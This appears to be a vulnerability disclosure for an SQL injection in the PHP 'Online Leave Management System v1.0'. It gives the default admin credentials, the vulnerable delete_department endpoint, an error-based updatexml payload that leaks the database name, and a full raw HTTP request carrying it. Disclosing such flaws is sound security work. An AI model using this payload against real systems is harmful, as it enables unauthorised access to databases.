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Online Leave Management System v1.0 by oretnom23 has SQL injection

BUG_Author: Yuanbolin

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/14910/online-leave-management-system-php-free-source-code.html

The program is built using the xmapp-php8.1 version

First create a table in the database

CREATE TABLE `department_ist` (
  `id` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
COMMIT;

Vulnerability File: /leave_system/classes/Master.php?f=delete_department

Vulnerability location: /leave_system/classes/Master.php?f=delete_department,id

dbname=leave_db,length=8

[+] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /leave_system/classes/Master.php?f=delete_department HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/leave_system/admin/?page=maintenance/department
Content-Length: 65
Cookie: PHPSESSID=a58hbbkeelngug4ek0dssb0rb5
Connection: close

id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

image